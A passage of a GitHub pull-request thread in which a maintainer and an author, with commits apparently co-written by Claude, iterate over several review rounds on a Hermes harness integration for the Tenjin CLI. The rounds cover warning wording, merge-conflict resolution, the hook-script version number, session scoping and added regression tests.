  • The three test comments and the --no-hooks install comment, same treatment.
  • Changeset rewritten as release notes for what ships, not a diff against a branch nobody has.

Left the pre-existing "used to" comments alone, including install.test.ts:520, which is #115's.

Nit 2 — _run buffering stdout

Holding my position from last round, so flagging it as an open disagreement rather than an oversight. The callee is Tenjin's own generated script, 0600 in the Tenjin data dir, whose output the CLI already bounds; the memory is bounded in practice by the 3s/2s timeout. A real bound needs Popen plus manual draining of both pipes, which puts a deadlock surface in a fail-open path, and the attacker it would stop can already rewrite our hook scripts. If you would rather have the streaming read regardless of that trade, say so and I will add it.

Gates at 6936304, CI=true: format:check, lint, typecheck, build, full suite (1851 passed / 10 skipped), pack-smoke PASS.

@vraspar vraspar left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Re-review: the status split lands, with one wrong verb in the new warning

Reviewed at 6936304, delta over f9ad137. One commit, fix(hermes): report a withheld write as skipped, not disabled, touching 7 files. Nothing outside the reported scope changed: the delta is the status enum, the warning it feeds, the comment cleanup, and their tests.

Resolved since round 3

  1. Minor, disabled conflated "not written this run" with machine state: HermesWriteStatus gained a distinct skipped, and the fix went past the ask: a new survivingPluginNote names what an earlier run left behind and whether it still runs. Verified across all three paths: a --no-hooks re-run over a working install reports plugin: skipped, activation: skipped and warns that the enabled plugin "is still in ... and keeps running", while doctor reports installed / enabled for the same home, so the two surfaces now agree instead of contradicting; with hooks.searchMode: off the note correctly reads "stays inert while hooks.searchMode is off", which is true because the generated scripts re-read the mode on every invocation; on a fresh machine with nothing pre-existing the note is correctly absent.
  2. Nit, comments narrating review history: gone from the Hermes surface. hermes.ts, skill-wiring.ts, skill-heal.ts, hermes.test.ts, and install.test.ts no longer contain "used to" or "flagged at review time", and each comment now states the invariant instead of the incident. The changeset reads as current truth ("rewrites the managed block in place", "tolerates a relative HERMES_HOME") rather than "now X instead of Y". The remaining "used to" hits in install.ts / doctor.ts / doctor.test.ts are pre-existing from earlier PRs and out of scope here.

New

Nits (1)
  • survivingPluginNote says "Remove it" for a command that removes nothing. The --no-hooks branch ends "Remove it with tenjin config set hooks.searchMode off", but that command makes the plugin inert; it does not delete __init__.py, plugin.yaml, or the plugins.enabled entry, and nothing in this codebase does: hooksUndo is Claude-only, and no path unlinks the plugin directory. The other branch of the same function already words the identical end state correctly as "stays inert while hooks.searchMode is off". Worth fixing because it is the one misstatement left in the commit whose whole purpose is to stop reporting an action as a state: an agent that runs the suggested command and reports the plugin removed would be wrong. One clause, e.g. "Make it inert with ...". hermes.ts#L266-L276

Verdict: approve once the "Remove it" clause is reworded. Everything from rounds 2 and 3 is closed and re-verified, the branch is MERGEABLE on main, CI passes, and there are no open majors or minors. The single nit is a one-clause copy fix and does not need another review round. Ran at 6936304: typecheck clean, lint clean, 341 focused tests passing, plus hand-verification of the three withheld-write paths and a check that no removal path exists.

Review 4903100505. `tenjin config set hooks.searchMode off` makes the plugin
inert; it deletes neither the plugin directory nor the `plugins.enabled` entry,
and no command in this CLI does. The other branch of the same function already
worded that end state correctly, so an agent following 'Remove it' would report
a removal that never happened.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

@greptile-apps greptile-apps Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

A1igator has reached the 50-credit limit for trial accounts. To continue receiving code reviews, upgrade your plan.

@A1igator

Copy link
Copy Markdown
Contributor Author

Reworded in f6aa89f. You are right that it was the one misstatement left in a commit whose whole point was to stop reporting an action as a state, and the function was already contradicting itself: the mode: off branch said "stays inert" for the identical end state.

The clause is now "Make it inert with `tenjin config set hooks.searchMode off`". I checked the removal claim before rewording rather than assuming: nothing in the CLI unlinks the plugin directory or the plugins.enabled entry, and hooksUndo is Claude-only, so inert really is the strongest thing on offer. That invariant is now stated on survivingPluginNote so the verb cannot drift back, and the test pins both halves: the note contains "Make it inert with", and it matches neither Remove it nor uninstall.

Diff is 2 files, +7/-1. Gates at f6aa89f, CI=true: format:check, lint, typecheck, build, full suite (1851 passed / 10 skipped), pack-smoke PASS.

@vraspar vraspar left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Re-review: the reword landed; the branch has gone conflicting on main

Reviewed at f6aa89f, delta over 6936304. One commit, two files, 7 insertions and 1 deletion. Nothing outside the reported scope changed.

Resolved since round 4

  1. Nit, "Remove it" promised something no command does: the note now reads "Make it inert with tenjin config set hooks.searchMode off", which is true and matches how the sibling branch already worded the same end state. The commit also pins it from both directions: a test asserts the warning contains Make it inert with and does not match /\bRemove it\b|\buninstall\b/i, so the wording cannot drift back, and a comment records why inert is the strongest thing on offer.

New

  1. The branch no longer merges: #125 landed on main and touches src/lib/hook-scripts.ts, which this PR also modifies. mergeable flipped from MERGEABLE to CONFLICTING since the last round; the merge base is still 12ccf95 and the only new commit on main is 5cc75d2. One file conflicts. The textual collision is essentially HOOK_SCRIPT_VERSION, which main moved 9 → 11 and this branch moved 9 → 10; the two feature changes otherwise sit in different regions of the file, so this is a small resolution rather than a re-think. Two notes for the resolution: HOOK_SCRIPT_VERSION is only interpolated into the generated script's comment header and gates nothing, so the number is cosmetic, but it should land at 12 rather than understating at 10. And #125's new session scoping deserves a deliberate look rather than a blind "take both".
Verified, not issues
  • Hermes publish-back survives the merge. #125 stamps searches with session_id and filters the Stop nag by it, and the Hermes envelope carries no session_id on either script. Both directions are fail-open by construction: ownedByThisSession returns true when the hook has no session, and an unstamped entry matches every session. So Hermes keeps working after the merge; it simply is not session-scoped, which is the direction #125's own comment calls safe. Forwarding session_id from the Hermes kwargs (Hermes passes it to both pre_tool_call and transform_llm_output) would restore scoping and is a clean follow-up, not a blocker.

Verdict: approve once rebased. There are no open majors, minors, or nits: everything from rounds 2 through 4 is closed and re-verified, and CI is green on the current head. The branch is CONFLICTING, which is a merge gate on its own (not a regression by the author; main moved when #125 merged). Suggested resolution: rebase onto main at 5cc75d2, take both hunks in hook-scripts.ts with HOOK_SCRIPT_VERSION = 12, re-run CI. If the resolution is exactly that, no further review round is needed; if it touches behavior, ping for a delta look. Ran at f6aa89f: typecheck clean, lint clean, 294 focused tests passing across hermes, install, and doctor.

#125 (5cc75d2) landed and touches src/lib/hook-scripts.ts, which this branch
also modifies. One textual conflict: HOOK_SCRIPT_VERSION, which main moved to 11
and this branch to 10. The merged body carries both changes and so is neither, so
it lands at 12; the constant is only interpolated into the generated script's
comment header and gates nothing, but understating it would misdate the body.

#125's session scoping was checked rather than taken blindly. It is fail-open in
both directions for the Hermes envelope: the plugin sends no session_id, so
sessionIdOf returns null and recordSearch leaves the entry unstamped, and
ownedByThisSession returns true both for a null session and for an unstamped
entry. Hermes publish-back therefore keeps working, machine-global rather than
session-scoped. Forwarding session_id from Hermes' kwargs would restore scoping
and is left as a follow-up rather than smuggled into a merge commit.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

@greptile-apps greptile-apps Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Your trial has ended. Reactivate Greptile to resume code reviews.

@A1igator

Copy link
Copy Markdown
Contributor Author

Re-merged main in ff17ef6. 5cc75d2 (#125) is the only commit that landed since the last merge, and src/lib/hook-scripts.ts was the only conflict.

Resolution. Exactly the one you suggested, with the version at 12: main moved HOOK_SCRIPT_VERSION 9 to 11, this branch moved it 9 to 10, and the merged body carries both changes so it is neither. It gates nothing (it is only interpolated into the generated script's comment header), but understating it would misdate the body. Confirmed on the generated file: // tenjin-cli hook, generated by tenjin install (v12). The two feature changes sit in different regions, so nothing else in that file needed a decision.

On #125's session scoping. Took your note as a prompt to read it rather than take both hunks blindly, and your analysis holds in both directions. The Hermes plugin sends {tool_name, args} and {}, so sessionIdOf returns null, recordSearch leaves the entry unstamped, and ownedByThisSession returns true both for a null session and for an unstamped entry. Verified by running the merged scripts through the Hermes envelope:

stop  --hermes < {}                             -> exit 0, no output, no crash
search --hermes < {"tool_name":"web_search",...} -> {"context":"Tenjin (a marketplace of tested..."}
install: mcp=installed plugin=installed activation=installed

So Hermes publish-back keeps working, machine-global rather than session-scoped. Forwarding session_id from Hermes' kwargs (it passes one to both pre_tool_call and transform_llm_output) would restore scoping, and I have deliberately left it out: it is a behavior change, and a merge commit is the wrong place to smuggle one. Happy to open it as a follow-up.

Nothing else changed. Gates at ff17ef6, CI=true: format:check, lint, typecheck, build, full suite (1905 passed / 10 skipped, up from 1851 with #125's tests), pack-smoke PASS.

@vraspar vraspar left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Re-review: the rebase resolution is exactly right; main moved again and the merge now needs three fixes

Reviewed at ff17ef6, delta over f6aa89f.

Resolved since round 5

  1. The #125 resolution is the mechanical one prescribed, with nothing smuggled in. HOOK_SCRIPT_VERSION = 12, both sides of hook-scripts.ts present (#125's sessionIdOf / ownedByThisSession and #113's IS_HERMES envelope). The Hermes surface is byte-identical across the merge: hermes.ts, hermes.test.ts, skill-wiring.ts, skill-heal.ts, skill-wiring.test.ts, and the changeset show a zero-line diff. The only non-#125 change is two README rows, and both are #125's own publish flags (--search-id, --excerpt), not Hermes content.

New

  1. [merge] The branch is one commit behind main and does not compile against it. The merge base is 5cc75d2; main is now 00fd79e (#129). README.md is the only textual conflict, but merging #129 locally and typechecking produced two real errors, so this is not a docs-only resolution:
    • src/lib/uninstall.ts(275): Expected 2 arguments, but got 1: #129's new removeSkills calls skillsDirsFor(homeDir), and this PR made hermesHome required. This is the round-3 guardrail doing its job: it refuses to let a new caller silently miss the Hermes skills directory. Resolve it the way skill-heal does, skillsDirsFor(homeDir, resolveHermesHomeLenient(homeDir, env).home), which also makes #129's uninstall remove the Hermes skills.
    • src/commands/install.test.ts(275): Property 'agentsMd' does not exist: #129 removed the AGENTS.md/CLAUDE.md footprint, so the Hermes install test's expect(h.agentsMd).toBeUndefined() assertion is now obsolete and should be dropped.
Follow-up, not a blocker
  • tenjin uninstall leaves Hermes debris. Once the compile error above is resolved correctly, uninstall does remove the Hermes skills (via skillsDirsFor) and the shared hook scripts (via removeHookScripts). It does not remove ~/.hermes/plugins/tenjin/, the plugins.enabled: [tenjin] entry, or the mcp_servers.tenjin registration. The failure is benign: the orphaned plugin invokes a deleted script, node exits non-zero, _run returns None, and nothing is attached to the search: fail-open, as designed. But a command whose stated shape is the promise it makes should either remove those three or say it does not. Worth tracking against #129's uninstall rather than changing here.

Merge-order map (#128 / #131)

  • #128: fully independent. Zero file overlap with #113 at this head (docs-only in skills/tenjin-{search,publish}/SKILL.md). Order irrelevant.
  • #131: small, mostly textual overlap; #113 creates no work for it. Shared files: hook-scripts.ts (#131 bumps HOOK_SCRIPT_VERSION 11→12, #113 already sets 12: one-line conflict, cosmetic constant, resolver should land on 13), hook-scripts.test.ts (mechanical), cli.ts (different regions, unlikely), README.md (likely, mechanical). Substantively: the Hermes surface contains no candidate/park text: the Python plugin wraps whatever the shared generated script emits, so #131's nag rewrite propagates to Hermes automatically with zero Hermes-specific edits.
  • Recommended order: #113 first, then #131. #113 is finished and needs only the three resolutions above; #131 is breaking, touches 26 files, and rebases regardless. #113-first leaves #131's resolver a version bump and a README merge; the reverse makes #113 re-resolve hook-scripts.ts for a third time.

Verdict: approve-once-merged, not approve-as-is. There are no open majors, minors, or nits: everything from rounds 2 through 5 is closed and re-verified, and the rebase resolution is exactly what was asked for. What remains is entirely the moving base: resolve README.md, update the skillsDirsFor call in src/lib/uninstall.ts, drop the stale agentsMd assertion, and re-run CI. If the update is exactly those three, no further review round is needed. Ran at ff17ef6 on its own base: typecheck clean, lint clean, 296 focused tests passing; and again after merging origin/main locally, which is where the two errors above surfaced.

#129 (00fd79e) landed. README.md was the only textual conflict, but the merge
does not compile without two more fixes, so this is not a docs-only resolution.

- README: took main's landed table (#129 dropped the --no-claude-md row) and
  re-expressed only the Hermes delta on it, the extra --harness value. #129
  replaced the pointer-line paragraph outright; the Hermes delta had only
  reworded its opening clause, so there was nothing of ours to carry over.
- uninstall.ts: #129's new removeSkills called skillsDirsFor with one argument.
  Resolved the way skill-heal does, with resolveHermesHomeLenient, which is what
  puts the Hermes skills directory in scope; lenient because uninstall is a
  cleanup command and a stray relative HERMES_HOME must not stop it. The env
  seam is threaded through UninstallDeps so the absolute-HERMES_HOME path is
  testable, and a test covers both spellings.
- install.test.ts: dropped the agentsMd assertion, obsolete now that #129
  removed the AGENTS.md/CLAUDE.md footprint.

HOOK_SCRIPT_VERSION stays at 12: #129 touches neither hook-scripts.ts nor
harness-hooks.ts, so no script body changed.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

@greptile-apps greptile-apps Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Your trial has ended. Reactivate Greptile to resume code reviews.

@A1igator

Copy link
Copy Markdown
Contributor Author

Re-merged in 632a9ad. 00fd79e (#129) is the only commit since the last merge, and your local-merge typecheck saved a round: README.md was the only textual conflict, but the merge does not compile without the other two.

1. README.md. Took main's landed table (#129 dropped the --no-claude-md row) and re-expressed only the Hermes delta on it, which is the one extra --harness value. The second hunk needed no merge at all: #129 replaced the pointer-line paragraph outright, and the Hermes delta had only reworded its opening clause ("Both harnesses" to "Claude Code and Codex"), so there was nothing of ours to carry over. Main's zero-footprint paragraph stands as written.

2. src/lib/uninstall.ts. Resolved as you suggested, skillsDirsFor(homeDir, resolveHermesHomeLenient(homeDir, env).home), so #129's uninstall now removes the Hermes skills too. Lenient rather than strict for the same reason skill-heal is: uninstall is a cleanup command, and a stray relative HERMES_HOME must not stop it. I threaded an env seam through UninstallDeps so the absolute-HERMES_HOME path is testable rather than only reachable via process.env, and added a test covering both spellings — the custom-home case is exactly the one a defaulted argument would have missed, which is the guardrail's whole point.

3. src/commands/install.test.ts. Dropped expect(h.agentsMd).toBeUndefined(). Obsolete once #129 removed the footprint; the surrounding assertions still pin what the Hermes install writes.

HOOK_SCRIPT_VERSION stays at 12: #129 touches neither hook-scripts.ts nor harness-hooks.ts, so no script body changed and a bump would misdate it. Nothing else in the Hermes surface moved.

On the uninstall follow-up. Agreed, and agreed it belongs against #129 rather than here. tenjin uninstall still leaves ~/.hermes/plugins/tenjin/, the plugins.enabled: [tenjin] entry, and the mcp_servers.tenjin registration. Your read of the failure mode matches mine: the orphaned plugin invokes a deleted script, node exits non-zero, _run returns None, nothing is attached — fail-open by construction. I will open it as a follow-up naming those three, alongside the session_id forwarding one from last round.

On merge order. No objection to #113 before #131, and for the reason you give: this branch would otherwise resolve hook-scripts.ts a third time for a constant that gates nothing. If #131 lands first I will take it and land the version at 13.

Gates at 632a9ad, CI=true: format:check, lint, typecheck, build, full suite (1897 passed / 10 skipped across 66 files, +1 file for #129's uninstall suite), pack-smoke PASS.

@vraspar vraspar left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Re-review: the three #129 fixes landed as prescribed; the #131 reconciliation is a clean no-op merge that has not been pushed yet

Reviewed at 632a9ad, delta over ff17ef6.

Resolved since round 6

  1. src/lib/uninstall.ts two-arg lenient call: skillsDirsFor(homeDir, resolveHermesHomeLenient(homeDir, env).home), exactly as prescribed. This also closes the round-6 follow-up for skills: tenjin uninstall now walks the Hermes skills directory and removes what it wrote there.
  2. Stale agentsMd assertion: dropped from the Hermes install test.
  3. README: resolved with both sides intact: #129's uninstall documentation and the Hermes Agent section both present.

Typecheck clean, lint clean, and 366 focused tests passing across hermes, install, doctor, hook-scripts, and uninstall.

Still open

  1. [merge] The branch is two commits behind main and has not taken #131 or #128. Verified the merge rather than predicting it: git merge origin/main applies with no conflicts at all, and post-merge the tree is correct: candidate.ts and candidate-store.ts are deleted, #131's rewritten nag text is present, the old tenjin candidate add park text is gone (zero occurrences), and #113's IS_HERMES envelope is intact. Post-merge typecheck clean, lint clean, 366 focused tests passing. Nothing to resolve; it only needs pushing.
Nits (2), none blocking
  • HOOK_SCRIPT_VERSION stays at 12 through the #131 merge, silently. Both sides independently landed on 12, so git takes 12 with no conflict to prompt anyone. The merged script body (#131's rewritten text plus #113's Hermes envelope) then ships under the same version label main already uses for the #131-only body. Cosmetic, since the constant only feeds the generated script's comment header and gates nothing, but bump it to 13 while merging.
  • No test pins the Hermes envelope on the publish-back script. One test runs a real generated script with --hermes and it covers the search side; there are 30 stopHookScript tests and none pass the flag, which is the half whose body #131 just rewrote. Verified by hand that it works (see below), so this is a missing regression test, not a defect.
Verified, not issues
  • The Hermes publish-back path works against #131's rewritten script, end to end. Seeded a deliberate MISS, ran the real generated tenjin-stop.mjs with --hermes and the exact {} payload the Python plugin sends: it emitted {"context": "..."} carrying #131's new wording, exit 0, with no park or candidate text anywhere in it.
  • The decoupling held. #113 adds no second copy of the nag text; the plugin forwards whatever the shared script emits, so #131's rewrite propagated with zero Hermes-specific edits. That was the design goal set in round 2 and it survived a breaking change landing underneath it.
  • No candidate or park code is resurrected by the branch. candidate.ts and candidate-store.ts exist at 632a9ad only because its base predates #131; the merge deletes both cleanly, and #113 never touches either file, so there is no modify/delete conflict.

Verdict: approve once the merge is pushed. There are no majors and no minors: every finding from rounds 2 through 6 is closed and re-verified, and the two remaining items are one-line nits. The asked-for update: merge origin/main (proven conflict-free), set HOOK_SCRIPT_VERSION = 13 in the merge commit, optionally add the --hermes stop-script regression test. That costs one command and needs no further review round. Ran at 632a9ad on its own base and again after merging origin/main locally: typecheck clean, lint clean, 366 focused tests passing both times, plus a hand-run of the real publish-back script under the Hermes envelope.

Worth recording at the end of six rounds: this PR started with three majors that would have shipped config corruption and a broken consent flag through a curl-piped installer. It is now clean, and it absorbed a breaking change (#131) landing underneath it without a single Hermes-side edit, which is the strongest evidence the shared-script design was the right call.

#128 (177e413) and #131 (5e1148e) landed. The merge applies with no conflicts;
verified rather than assumed, along with the post-merge tree: candidate.ts and
candidate-store.ts are deleted, 'tenjin candidate add' occurs zero times, and the
IS_HERMES envelope is intact.

HOOK_SCRIPT_VERSION goes to 13. Both sides independently landed on 12, so git
took 12 with nothing to conflict on, and the merged body (#131's rewritten nag
plus the Hermes envelope) would have shipped under the label main already uses
for the #131-only body. #131 did change the script body, so this bump is the
rule rather than an exception to it.

Adds the missing regression test on the publish-back half: 30 stopHookScript
tests and none passed --hermes, which is the body #131 just rewrote. The test
asserts the envelope is the Hermes shape AND that the text is the same body
Claude gets, so it fails on a regression in either.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

@greptile-apps greptile-apps Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Your trial has ended. Reactivate Greptile to resume code reviews.

@A1igator

Copy link
Copy Markdown
Contributor Author

Merged and pushed as d36181a, with both nits folded in.

1. The merge. Re-verified rather than trusted: git merge origin/main applies with zero conflicts, and I checked each of your post-merge claims independently — candidate.ts and candidate-store.ts deleted, tenjin candidate add at zero occurrences across src/ and skills/, IS_HERMES intact.

2. HOOK_SCRIPT_VERSION = 13. Worth noting this one was not merely cosmetic bookkeeping: #131 did change the script body (git diff 00fd79e origin/main -- src/lib/hook-scripts.ts is 8 insertions, 4 deletions in strongLine/weakLine), so under the rule the constant documents, the merged body earns a bump. The silent part was exactly as you described: both sides landed on 12 independently, so there was nothing for git to raise. Generated header now reads (v13).

3. The stop-script --hermes test. Added. It pins both halves, since either alone would pass a broken build: the output has a context key and no hookSpecificOutput, AND the text is the same body Claude gets, #131's wording included (--status regenerated present, candidate add absent). That last assertion is the one that would catch someone "fixing" Hermes by giving it its own copy of the nag, which is the failure mode the shared-script design exists to prevent.

Also hand-ran the real generated script, same as you did:

$ echo '{}' | node ~/.tenjin/hooks/tenjin-stop.mjs --hermes
keys      : ['context']
context   : Open Tenjin loop: you searched '...' and got a MISS. If you solved it with a
            public, reusable, rights-clean finding, publish it back: tenjin publish ...
park text?: False

One note on the test run. My first full-suite run showed 13 failures, all in timing-sensitive subprocess and scrypt tests. That was host contention, not the merge: this machine was at load average 68 with the suite's own parallelism on top. Each failure passes in isolation, and --fileParallelism=false gives a clean 1856 passed / 10 skipped across 65 files (down 2 files and ~40 tests from 632a9ad, which is #131 removing the candidate pen, plus my one addition). Flagging it because "13 failed" in a log is worth explaining rather than quietly re-running until green.

Gates at d36181a, CI=true: format:check, lint, typecheck, build, full suite 1856 passed / 10 skipped, pack-smoke PASS.

vraspar
vraspar previously approved these changes Aug 13, 2026

@vraspar vraspar left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Approve: the Hermes integration is done, and it absorbed two breaking changes without a Hermes-side edit

Reviewed at d36181a, delta over 632a9ad. Seven rounds, and everything raised is closed.

Resolved since round 7

  1. HOOK_SCRIPT_VERSION = 13: the collision is gone, so the merged script body no longer ships under the label main already used for a different one.
  2. The Hermes envelope on the publish-back script is now pinned: a new test runs the real generated stopHookScript with --hermes and the bare {} the plugin sends, asserting the context envelope, the absence of hookSpecificOutput, #131's exact wording, and not.toContain('candidate add'). That last assertion is the one that matters: it guards the half where a regression would have cost Hermes the whole nag while all 30 Claude-shaped stop tests stayed green.
  3. The #131 and #128 reconciliation is pushed and correct: candidate.ts and candidate-store.ts are gone, #131's rewritten nag text is in, and no park or candidate text survives anywhere in the shipped scripts.

Verified

  • Nothing smuggled into the reconciliation. hermes.ts, hermes.test.ts, skill-wiring.ts, skill-heal.ts, and the changeset are byte-identical across the merge. The only hand-edits in this delta are the version bump and the new test.
  • Composition with #130 is clean. Merged current main (5454568, tenjin fund plus the alpha release) locally: no conflicts, typecheck clean, lint clean, 388 focused tests passing including fund.test.ts. tenjin fund shares cli.ts, doctor.ts, install.ts, and harness-permissions.ts with this PR and touches none of the Hermes surface.
  • The feature works on the fully composed tree. Built it and ran a real install: mcp installed / plugin installed / activation installed, and doctor reports the Hermes check ok with configured / installed / enabled.
  • tenjin uninstall clears what it should. Ran it: all three Hermes skills removed by name, both hook scripts removed. The round-6 follow-up is unchanged and still not a blocker: the plugin directory and the mcp_servers.tenjin entry survive, which is worth tracking against #129's uninstall rather than a change here.
  • The shared-script design held under pressure. #131 rewrote the nag text this feature depends on, and #113 needed zero Hermes-side edits to absorb it, because the plugin forwards whatever the script emits instead of forking the text. That was the call made in round 2 and it is the reason this PR survived two breaking changes landing underneath it.

Verdict: approve. Three majors, four minors, and three nits were raised across rounds 2 through 7, and all of them are closed and verified by running the built CLI rather than by reading the diff. Ran at d36181a: typecheck clean, lint clean, 367 focused tests; and again after merging current main: typecheck clean, lint clean, 388 tests, plus an end-to-end install, doctor, and uninstall on the composed tree. The branch is behind main but the merge is verified clean; take it as-is or fast-forward first.

#130, #132, #135, and #138 landed. README.md was the only conflict.

#138 rewrote the README as a short onboarding doc, deleting the install flags
table, the Search hooks section, and the skills-landing list that carried the
three Hermes edits. Main's shape is the baseline, so those sections stay
deleted rather than being reinstated to host the delta. The Hermes content is
re-expressed on what #138 actually kept: the harness enumeration up top, and a
Hermes entry in the Local stdio MCP server section naming the plugin, its
consent flags, and the inert-until-named default.

HOOK_SCRIPT_VERSION stays at 13: none of the four commits touch hook-scripts.ts
or harness-hooks.ts, so no script body changed. #132's contract.test.ts rename
merged clean; this branch does not touch that file.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

@greptile-apps greptile-apps Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Your trial has ended. Reactivate Greptile to resume code reviews.

@A1igator

Copy link
Copy Markdown
Contributor Author

Re-merged main in 31101dd (#130, #132, #135, #138). README.md was the only conflict: #138 rewrote it as a short onboarding doc and deleted the three sections that carried the Hermes edits, so rather than reinstate them I re-expressed the delta on what #138 kept — the harness list up top, and a Hermes entry under Local stdio MCP server naming the plugin, its consent flags, and the inert-until-named default. HOOK_SCRIPT_VERSION stays at 13 (no commit touched a script body); #132's contract.test.ts rename merged clean, since this branch never touches that file. Gates green: format/lint/typecheck/build, 1888 passed / 10 skipped, pack-smoke PASS.

Heads up for whoever merges: the ruleset has dismiss_stale_reviews_on_push: true, so this merge commit dismissed the approval and the PR is back to REVIEW_REQUIRED. It needs a re-stamp before the merge button works.

Resolve src/lib/hook-scripts.ts: the generated `emit` now composes both
features rather than picking one. main's `updateLine()` builds the context,
and the Hermes envelope decides the shape it ships in, so the self-update
signal reaches Hermes as well as Claude Code.

Pin the composition with a regression test: without it, a resolution that
kept only one side leaves every Claude-shaped test green.

@greptile-apps greptile-apps Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Your trial has ended. Reactivate Greptile to resume code reviews.

@A1igator

Copy link
Copy Markdown
Contributor Author

Merged current main at b4415c9; the one conflict was semantic, not "take both"

Pushed c1f9b3e. Nothing else in rounds 2 through 8 is open: every major, minor, and nit you raised is closed and re-verified, and the approve at d36181a said as much. This round is entirely the moving base.

The conflict. src/lib/hook-scripts.ts only, in the generated script's emit. main gained #136's updateLine(), which appends the self-update signal to whatever the hook already says; this branch gained the IS_HERMES envelope. Both edit the same three lines, and either side taken whole silently drops the other: take ours and Hermes never sees the update signal and Claude Code loses it too; take theirs and the Hermes envelope disappears. Resolved by separating the two decisions the way round 2 asked for elsewhere. updateLine() builds the context, then the envelope decides the shape it ships in:

const extra = updateLine();
const context = extra === null ? additionalContext : additionalContext + '\n' + extra;
const output = IS_HERMES
  ? { context }
  : { hookSpecificOutput: { hookEventName, additionalContext: context } };

One new test, rides inside the Hermes context envelope too. This is the case a wrong resolution would have shipped green: the update-signal suite reads hookSpecificOutput.additionalContext through its injected() helper, so it cannot observe the Hermes shape at all, and the --hermes tests seed no update signal. The new test runs the real generated script with a signal on disk and asserts the version line arrives inside context with no hookSpecificOutput.

HOOK_SCRIPT_VERSION stays at 13. Your round-7 nit was about a merged body shipping under a label main already uses for a different body. That does not apply here: main is at 12, this branch is at 13, and 13 has never been on main. The merged body is the first thing to carry it.

Everything else auto-merged with nothing to decide: #147's skill materialization, #136's tenjin update, #160's harvest ask, #149's trigger carve-out, and the nanoid floor. The skillsDirsFor guardrail from round 3 held again, no new caller in the merge missed the Hermes argument. README kept both sides: tenjin update in Core commands and the Hermes Agent section.

Gates on c1f9b3e: pnpm typecheck clean, pnpm lint clean, pnpm format:check clean, pnpm build success, pnpm test 1976 passed / 10 skipped across 69 files.

The round-6 follow-up is unchanged and still not a blocker: tenjin uninstall leaves ~/.hermes/plugins/tenjin/, the plugins.enabled entry, and the mcp_servers.tenjin registration behind, fail-open by construction, tracked against #129's uninstall rather than changed here.

Composes the two extensions of the hook-scripts test harness rather than
taking a side: runScript now carries both the `--hermes` selector argv this
branch added and the caller User-Agent env #126 added, in that positional
order, with the one env call site moved to the fourth slot.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

@greptile-apps greptile-apps Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Your trial has ended. Reactivate Greptile to resume code reviews.

@A1igator

Copy link
Copy Markdown
Contributor Author

Conflict against main resolved and pushed as d721972. The head moved: the pre-merge delta look on src/lib/hook-scripts.ts now applies to d721972, not to c1f9b3e.

What conflicted. Only src/lib/hook-scripts.test.ts, and only its runScript harness. Both sides extended the same third positional slot: this branch added args: string[] to pass the --hermes selector into spawn, and #126 (6b960e1) added env: Record<string, string> merged over process.env for the TENJIN_CALLER_USER_AGENT handoff. Taking either side whole compiles away the other side's only entry point, so the resolution composes them: runScript(source, stdin, args = [], env = {}), spawn(node, [path, ...args], { env: { ...process.env, ...env } }), and the one env call site (identityRun, hook-scripts.test.ts:521) moved to the fourth slot.

Evidence that both halves are live rather than one side silently dropped, each shown by breaking it:

  • drop ...args from the spawn: 3 failures, all Hermes (rides inside the Hermes context envelope too, uses Hermes web_search input and emits its native context envelope, emits the Hermes context envelope from the same nag body).
  • drop the env merge: 8 failures, all identity (composes the launching harness handoff behind the CLI product plus the 7 matches composeUserAgent ... mirror-drift rows).
  • composed: 98/98 in hook-scripts.test.ts.

src/lib/hook-scripts.ts took no new judgment this round. It auto-merged: everything it gained is #126's, purely additive (the client-meta imports, userAgentSource(), the user-agent header on the search fetch), and it lands beside the emit() composition from the last round rather than on top of it. hermes.ts makes no HTTP request of its own (no fetch/http/https call site), so #126's "every request the CLI makes" README claim is still true after the merge, and skill-heal still heals only skills, so its "the self-heal does not reach hook scripts" docstring also still holds.

One thing worth your eye while you are in that file: HOOK_SCRIPT_VERSION is 13 on both sides. This branch bumped 12 to 13 for the Hermes envelope and #126 independently bumped 12 to 13 for the identity header, so the merged file carries one version number over two different bodies. It is inert today, because the installer rewrites on BYTE drift (wireSearchHooks, harness-hooks.ts) and never reads the number, and because #126 has not been released, so no published CLI ever emitted the identity-only v13. I did not bump it to 14: that is an edit to the exact file you asked to look at, and it is yours to make or wave through.

Gates at d721972: format:check, lint, typecheck, build pass. Full suite 2009 passed / 10 skipped / 1 failed. The one failure is src/skill-resync-pr.test.ts:317, unrelated to this branch (the file is not in the diff) and a pre-existing flake: the case asserts not.toContain('99') against output that embeds a fresh git short SHA, and it tripped on f996fea. It passes 3/3 in isolation. Filed as #172.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

priority: high High priority

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants